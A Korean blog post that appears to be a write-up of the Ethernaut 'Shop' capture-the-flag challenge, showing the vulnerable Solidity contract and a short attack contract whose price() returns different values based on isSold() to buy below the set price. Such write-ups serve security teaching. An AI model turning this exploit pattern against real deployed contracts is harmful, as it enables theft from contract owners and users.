[ethernaut] Shop

wooz3k.eth·2023년 1월 8일
1
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

이 문제는 Buyer interface에 맞게 구현된 컨트렉트를 작성하여 buy() 함수를 호출하는데 price에 값을 100보다 작게 만들면 풀리는 문제이다.

풀이 조건

  • 첫 번째 price() 함수에 리턴은 100보다 커야 한다.
  • 두 번째 price() 함수에 리턴은 100보다 작아야 한다.

이 조건을 만족하는 컨트렉트를 작성하면 다음과 같다.

contract attack {

    Shop public target = Shop(0xfd59F76337f1BFfE263AFc1E9E7A38e5C6C3A8B4);

    function atk() public
    {
        target.buy();
    }
    function price() external view returns (uint)
    {
        return target.isSold() ? 0 : 100;
    }
}

이 문제의 핵심은 view function에서 같은 조건에서 실행되는 함수가 return 값을 다르게 하려면 어떻게 해야할지 그 벡터를 찾아내는 것이 중요했다.

solidity 에서 public 변수는 사용자가 getter 함수를 따로 만들지 않더라도 자동으롱getter 함수가 만들어진다. 필자는 이를 이용하여 isSold 변수에 값이 두 번째 price() 호출 이전에 바뀌는 것을 이용하여 문제를 해결하였다.

profile
Theori ChainLight Web3 Researcher

0개의 댓글